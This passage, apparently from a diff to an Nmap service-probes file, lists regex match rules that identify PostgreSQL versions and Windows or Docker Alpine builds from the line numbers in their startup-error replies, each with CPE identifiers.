9.1.3/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1700\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.4/ cpe:/a:postgresql:postgresql:9.1.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1706\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.5 - 9.1.11/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1701\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.12 - 9.1.14/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1734\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.15 - 9.1.18/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1803\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.19/ cpe:/a:postgresql:postgresql:9.1.19/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1833\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.20 - 9.1.24/ cpe:/a:postgresql:postgresql:9.1/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1612\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.0 - 9.2.6/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1607\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.7 - 9.2.9/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1640\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.10 - 9.2.13/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1709\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.14/ cpe:/a:postgresql:postgresql:9.2.14/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1739\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.15 - 9.2.16/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1742\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.17/ cpe:/a:postgresql:postgresql:9.2.17/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1746\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.18 - 9.2.19/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1747\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.20 - 9.2.21/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1755\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.22 - 9.2.24/ cpe:/a:postgresql:postgresql:9.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1837\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.0 - 9.3.2/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1834\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.3 - 9.3.5/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1872\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.6 - 9.3.9/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1949\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.10/ cpe:/a:postgresql:postgresql:9.3.10/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1979\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.11 - 9.3.12/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1982\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.13/ cpe:/a:postgresql:postgresql:9.3.13/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1849\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.0/ cpe:/a:postgresql:postgresql:9.4.0/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1881\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.1 - 9.4.4/ cpe:/a:postgresql:postgresql:9.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1955\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.5/ cpe:/a:postgresql:postgresql:9.4.5/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1986\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.14 - 9.3.15 or 9.4.6 - 9.4.8/ cpe:/a:postgresql:postgresql:9/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1987\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.16 - 9.3.17/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1994\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.21 - 9.3.25/ cpe:/a:postgresql:postgresql:9.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1990\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.9/ cpe:/a:postgresql:postgresql:9.4.9/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2000\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.10/ cpe:/a:postgresql:postgresql:9.4.10/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2001\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.11/ cpe:/a:postgresql:postgresql:9.4.11/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2002\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.12/ cpe:/a:postgresql:postgresql:9.4.12/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.13 - 9.4.15 or 9.4.22 - 9.4.26/ cpe:/a:postgresql:postgresql:9.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.16 - 9.4.21, 9.5.20 (Docker apline image)/ cpe:/a:postgresql:postgresql:9.4/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1991\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.0 - 9.5.3/ cpe:/a:postgresql:postgresql:9.5/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L1995\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.3.18 - 9.3.20 or 9.5.4/ cpe:/a:postgresql:postgresql:9/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2005\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.5/ cpe:/a:postgresql:postgresql:9.5.5/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2006\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.6/ cpe:/a:postgresql:postgresql:9.5.6/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2007\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.7/ cpe:/a:postgresql:postgresql:9.5.7/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.8 - 9.5.10 or 9.5.17 - 9.5.21/ cpe:/a:postgresql:postgresql:9.5/ +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2014\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.5.11 - 9.5.16/ cpe:/a:postgresql:postgresql:9.5/ +# 9.6.0 introduced a nonlocalized error message +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2008\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.0 - 9.6.1/ cpe:/a:postgresql:postgresql:9.6/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2009\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.2/ cpe:/a:postgresql:postgresql:9.6.2/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2023\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.3/ cpe:/a:postgresql:postgresql:9.6.3/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2031\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.4 - 9.6.6 or 9.6.13 - 9.6.17/ cpe:/a:postgresql:postgresql:9.6/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2030\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.7 - 9.6.12/ cpe:/a:postgresql:postgresql:9.6/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2065\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.0 - 10.1 or 10.8 - 10.12/ cpe:/a:postgresql:postgresql:10/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2064\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.2 - 10.7/ cpe:/a:postgresql:postgresql:10/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2015\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.0 - 11.2/ cpe:/a:postgresql:postgresql:11/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2016\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.3 - 11.7/ cpe:/a:postgresql:postgresql:11/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2060\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.0 - 12.2/ cpe:/a:postgresql:postgresql:12/ + +# PostgreSQL - Docker image - most docker images have the same error message as the release version, these do not. +# Seems images build after the move to from Alpine 3.10 to 3.11 have changed line numbers. +# PR where this behavior starts: https://github.com/docker-library/postgres/pull/657 +match postgresql m|^E\0\0\0.SFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2004\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.4.25 - 9.4.26/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:9.4/ cpe:/a:alpinelinux:alpine_linux:-/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2025\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.6.16 - 9.6.17/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:9.6/ cpe:/a:alpinelinux:alpine_linux:-/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2059\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/10.11 - 10.12/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:10/ cpe:/a:alpinelinux:alpine_linux:-/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2010\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/11.6 - 11.7/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:11/ cpe:/a:alpinelinux:alpine_linux:-/ +match postgresql m|^E\0\0\0.S[^\0]+\0VFATAL\0C0A000\0M.*?65363\.19778.*\0Fpostmaster\.c\0L2054\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/12.1 - 12.2/ i/Docker alpine image/ cpe:/a:postgresql:postgresql:12/ cpe:/a:alpinelinux:alpine_linux:-/ + + +# PostgreSQL - Windows platforms +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1287\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.0 - 7.4.1/ o/Windows/ cpe:/a:postgresql:postgresql:7.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1293\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/7.4.2 - 7.4.30/ o/Windows/ cpe:/a:postgresql:postgresql:7.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1408\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.0 - 8.0.1/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1431\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.2 - 8.0.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1439\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.7 - 8.0.8/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1443\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.9 - 8.0.13/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1445\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.6 or 8.0.14 - 8.0.26/ o/Windows/ cpe:/a:postgresql:postgresql:8.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1449\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.1.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1450\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.1/ o/Windows/ cpe:/a:postgresql:postgresql:8.1.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1448\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.3 - 8.1.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1452\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.5 - 8.1.9/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1454\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.1.2 or 8.1.10 - 8.1.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1432\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.2.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1437\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.1 - 8.2.4/ o/Windows/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1440\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.2.5 - 8.2.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1441\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.0.5 or 8.2.20 - 8.2.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.0.5/ cpe:/a:postgresql:postgresql:8.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1497\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.0 - 8.3.7/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1507\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.8 - 8.3.13/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1508\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.14 - 8.3.18/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1514\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.3.19/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1515\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.3.20 - 8.3.23/ o/Windows/ cpe:/a:postgresql:postgresql:8.3/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1570\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.0/ o/Windows/ cpe:/a:postgresql:postgresql:8.4.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1621\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.1 - 8.4.11/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1626\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.12/ o/Windows/ cpe:/a:postgresql:postgresql:8.4.12/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1627\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.13 - 8.4.19/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1622\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/8.4.20 - 8.4.22/ o/Windows/ cpe:/a:postgresql:postgresql:8.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1666\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.0 - 9.0.7/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1671\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.8/ o/Windows/ cpe:/a:postgresql:postgresql:9.0.8/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1677\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.9 - 9.0.15/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1672\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.16 - 9.0.18/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1705\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.19 - 9.0.22/ o/Windows/ cpe:/a:postgresql:postgresql:9.0/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1753\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.0.23/ o/Windows/ cpe:/a:postgresql:postgresql:9.0.23/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1694\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.0 - 9.1.1/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1695\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.2 - 9.1.3/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1700\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.4/ o/Windows/ cpe:/a:postgresql:postgresql:9.1.4/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1706\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.5 - 9.1.11/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1701\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.12 - 9.1.14/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1734\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.15 - 9.1.18/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1803\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.19/ o/Windows/ cpe:/a:postgresql:postgresql:9.1.19/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1833\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.1.20 - 9.1.24/ o/Windows/ cpe:/a:postgresql:postgresql:9.1/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1612\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.0 - 9.2.6/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1607\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.7 - 9.2.9/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql m|^E\0\0\0.S[^\0]+\0C0A000\0M.*?65363\.19778.*\0F\.\\src\\backend\\postmaster\\postmaster\.c\0L1640\0RProcessStartupPacket\0\0$|s p/PostgreSQL DB/ v/9.2.10 - 9.2.13/ o/Windows/ cpe:/a:postgresql:postgresql:9.2/ cpe:/o:microsoft:windows/a +match postgresql 